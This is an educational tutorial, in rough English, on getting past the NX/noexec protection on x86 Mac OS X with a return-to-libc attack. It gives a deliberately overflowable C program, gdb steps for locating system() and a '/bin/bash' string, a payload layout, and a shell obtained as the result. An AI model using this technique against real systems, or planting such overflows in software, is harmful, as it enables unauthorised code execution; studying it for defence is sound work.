

Disclaimer

To the maximum extent permitted by law, the author disclaims all warranties regarding this material, express or implied, including but not limited to warranties of merchantability and fitness for a particular purpose and non-infringement.

The author makes no warranties, implied or otherwise, as to the usefulness of this material or the correctness of the information it provides.

In no event shall the author be liable for direct, indirect, special, consequential, incidental, punitive or any other kind of damages caused by or arising out of the use or inability to use this material even if he is aware of the possibility of such damages or a known defect.

This material is provided "as is" and "as available", without any warranty, and if you use it you do it at your own risk, with no support.

The author makes no warranty the material will meet your requirements, or that its availability will be uninterrupted, or that it is timely, secure, or error free; nor does the author make any warranty as to the results that may be obtained through the material or that defects will be corrected.

No advice or information, whether oral or written, which you obtain from the author or through the material or third parties shall create any warranty not expressly made herein.

By accessing or using this material, you are agreeing to these terms.

FOR EDUCATIONAL PURPOSES ONLY

Bypassing noexec on Mac OSX x86

Introduction

The last Apple architecture change contributes to an increase in the platform's performance (even 4 times more efficient than the old PPC format). Moreover, a new feature, the NX bit, was introduced. The latter decides whether to execute memory codes that are usually used to exploit the machine, e.g. buffer overflow stack based and heap based.

Switching to x86, Apple adopted also a best known architecture then the PowerPC, which is good for developers as they might feel more comfortable with it but also for hackers whom might play in a better known playground

Let's see better this "NX protection"...

NX protection

The NX bit it's nothing new, it's present from to the old 80286.

The "old" NX bit it's not useful for the new operating system, AMD with Athlon 64 and Opteron have implemented more suitable NX bit for the new needs of operating system.

The NX bit it's the 63th in the paging table of x86 processor. If the bit it's set to zero the code in the page it will be execute and vice versa if it's set to one.

There are many software implementation of that kind of security, one of that it's PAX, these solutions work on 32 bit processor (without NX-bit) but loosing performance about 10%-15%.

The new Mac machines use Intel Core Duo and Solo that have the bit NX(renamed XD from Intel).

The old methodologies

First to thinking about exploiting case we must create a bug program, a simple buffer overflow.

Bug.c

```
#include <stdio.h>

void main(int argc, char** argv)

{
char buffer[100];

strcpy(buffer,argv[1]);

printf("\nbuffer: %s\n\n",buffer);

}
```

How we can see from code the buffer overflow happen from not control of the parameter in program input.

The normal (Aleph1 like) exploit can be like this injection vector:

```
[NOP...NOP][SHELLCODE][RET]
```

With NX bit the execution of NOP and SHELLCODE it's not possible.

Let's see what GDB say:

```
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffc7c
0xbffffc7c in ?? ()
```

```
(gdb) p/x $eip
$1 = 0xbffffc7c
```

How we can see from example we can't execute on the stack but we overwrite the ret address, then we have the power yet to redirect the execution.

During the execute of application some library are imported.

One library that can be useful it's the libc, inside of that there are many functions that are interesting but in this article we use the system();

The next objective for exploiting it's execute nothing on the stack but emulate the command CALL.

For do that we need two things:

- function address
- load (push) parameters, that need the function, on the stack

The first step

The our problem it's not overwrite the return address but where put our injection vector for execute it or better for call something like system();.

The system(); function execute the parameters in input on the shell. In our case we can execute "sh" then system("/bin/sh");.

The first step it's to know where it's place the system(); function.

Let's see these steps:

- Execute gdb with our software like parameter

```
gdb ./bug
```

- Put a breakpoint on the main() function

```
(gdb) br main
Breakpoint 1 at 0x1f5e
```

- Execute our program with some "a" like parameter.

```
(gdb) r aaaa
Starting program: /Users/emanuele/Desktop/ferri_del_mestiere/bug aaaa
Reading symbols for shared libraries . done
```

```
Breakpoint 1, 0x00001f5e in main ()
```

- At this point we are executing and then we have libc loaded and then we can see where is the system(); function.

```
(gdb) print system
$1 = {<text variable, no debug info>} 0x900474e0 <system>
```

Good we have the system address!!

Now we can overwrite the ret address with system(); address that we found.

Our injection vector it will be:

```
[PADDING..][SYSTEM ADDRESS]
```

For PADDING i mean a number of characters, for example a series of “A”, that they help us “pushing” our injection vector for overwrite the ret address.

Second step

Now we must load parameters for give them to the system.

Our parameter it’s the string “/bin/sh”, that we can find it in the environment or we can put it in the our buffer.

The solution used here it’s the first one, so let’s see how to find that string.

Let’s go to find near the stack...

```
(gdb) x/100s $esp
```

```
0xbffffbfe: "TERM_PROGRAM=Apple_Terminal"
0xbffffc1a: "TERM=xterm-color"
0xbffffc2b: "SHELL=/bin/bash"
0xbffffc3b: "TERM_PROGRAM_VERSION=133"
0xbffffc54: "USER=emanuele"
0xbffffc62: "__CF_USER_TEXT_ENCODING=0x1F5:0:4"
0xbffffc84: "COLUMNS=80"
0xbffffc8f: "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/sbin:/usr/bin"
```

We find it!! 0xbffffc2b!! not exactly let’s see why...

```
(gdb) x/s 0xbffffc2b
```

```
0xbffffc2b: "SHELL=/bin/bash"
```

We need parameter only like that “/bin/bash” so...

```
(gdb) x/s 0xbffffc31
```

```
0xbffffc31: "/bin/bash"
```

That’s better ... :-D

Action!!

We have all that we need. We can prepare our injection vector, this time for exploit! :-D

The final injection vector:

[PADDING][SYSTEM ADDRESS][32 bit TRASH][PARAMETER ADDRESS]

PADDING: how we saying it's a series of characters for help us to move the SYSTEM ADDRESS on ret address.

SYSTEM ADDRESS: system(); address.

TRASH: we are emulate the instruction CALL so that 32 bits are like the ret address of the system that we are calling.

PARAMETER ADDRESS: the string "/bin/bash" address that we found on the stack.

Let's try our exploit:

buffer:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAA?t?  
                          ?H??
```

sh-2.05b\$

it work!!! :-)

So we just have bypassed the noexec protections of the NX bit.

Elegance...

If we want be more elegant we can replace TRASH 32bits with exit(); function address that we find with the same methodology that we saw it about system();

So when we go out from our shell it will be execute the exit(); function and then we will exit without corrupt or cause something.